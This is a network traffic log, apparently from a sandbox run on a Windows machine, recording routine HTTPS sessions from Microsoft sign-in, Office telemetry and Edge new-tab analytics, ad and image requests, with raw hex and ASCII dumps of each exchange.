2024-11-20 22:12:57 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 22:12:57 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 22:13:01 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 22:11:58 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_BAY x-ms-request-id: db88496b-14c4-40dc-95fc-cc5c29583a9e PPServer: PPV: 30 H: PH1PEPF00011F2C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 22:13:00 GMT Connection: close Content-Length: 11389
2024-11-20 22:13:01 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:57 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:58 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221258Z-r1d97b99577hsvhhhC1TEByb1w00000003n000000000tcc3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:58 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:57 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:58 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:58 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 79dbd115-201e-003c-6a8d-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221258Z-r1d97b99577l6wbzhC1TEB3fwn00000009p00000000051ce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:58 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	49894	18.173.219.40	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:58 UTC	925	OUT	GET /b?rn=1732140775644&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3E320C721BF96C1208BE194F1A9E6DEF&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:58 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 20 Nov 2024 22:12:58 GMT Location: /b2?rn=1732140775644&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3E320C721BF96C1208BE194F1A9E6DEF&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1DBf0b8d3a1985a555ca5f01732140778; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1DBf0b8d3a1985a555ca5f01732140778; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 f7b469bae3f4a6418a1a6a50a32d318c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: FUbhdOtkwwVvpap_LbRmUP964cNpSW7VHCq3tOhStoeZrfIR4CGiBA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	49893	20.110.205.119	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:58 UTC	1175	OUT	GET /c.gif?rnd=1732140775644&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e960d3386b8642dbb8e622514e00b247&activityId=e960d3386b8642dbb8e622514e00b247&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3E320C721BF96C1208BE194F1A9E6DEF; _EDGE_S=F=1&SID=24F93A4A6BD86D8F04B02F776AF66C44; _EDGE_V=1
2024-11-20 22:12:58 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732140775644&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e960d3386b8642dbb8e622514e00b247&activityId=e960d3386b8642dbb8e622514e00b247&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2947A454840A4FD09991B5E1B311CF6E&RedC=c.msn.com&MXFR=3E320C721BF96C1208BE194F1A9E6DEF Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3E320C721BF96C1208BE194F1A9E6DEF; domain=.msn.com; expires=Mon, 15-Dec-2025 22:12:58 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Wed, 20 Nov 2024 22:12:57 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	49890	13.107.246.40	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:58 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:58 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:58 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: ef5a3f56-e01e-0029-4f75-3b1e45000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T221258Z-178bfbc474bxkclvhC1NYC69g400000000n0000000000m0s Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:58 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.7	49891	13.107.246.40	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:58 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:58 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:58 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 505f89b8-401e-0024-6999-3bf149000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T221258Z-1777c6cb754g9zd5hC1TEBfvpw0000000a8000000000u918 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 22:12:58 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	49895	23.96.180.189	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:58 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3E320C721BF96C1208BE194F1A9E6DEF&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=cf7b9bccf3fb4804a457622c191ce666 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3E320C721BF96C1208BE194F1A9E6DEF; _EDGE_S=F=1&SID=24F93A4A6BD86D8F04B02F776AF66C44; _EDGE_V=1
2024-11-20 22:12:58 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 22:12:57 GMT Connection: close
2024-11-20 22:12:58 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	49892	20.189.173.11	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:58 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732140775642&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3805 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3E320C721BF96C1208BE194F1A9E6DEF; _EDGE_S=F=1&SID=24F93A4A6BD86D8F04B02F776AF66C44; _EDGE_V=1
2024-11-20 22:12:58 UTC	3805	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 32 32 3a 31 32 3a 35 35 2e 36 33 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 61 36 64 35 35 30 33 2d 64 33 39 30 2d 34 30 33 39 2d 61 35 62 39 2d 66 33 64 62 38 61 66 39 64 33 66 62 22 2c 22 65 70 6f 63 68 22 3a 22 33 32 37 35 32 36 30 32 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-20T22:12:55.638Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"5a6d5503-d390-4039-a5b9-f3db8af9d3fb","epoch":"3275260270"},"app":{"locale
2024-11-20 22:12:58 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=25f464b868724f8a89e96d703055ea14&HASH=25f4&LV=202411&V=4&LU=1732140778497; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 22:12:58 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=a9049ad1b8774a8998c4a27fec5d57a9; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 22:42:58 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2855 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 22:12:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.7	49898	104.117.182.41	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:58 UTC	634	OUT	GET /tenant/amp/entityid/BB1msDTr.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
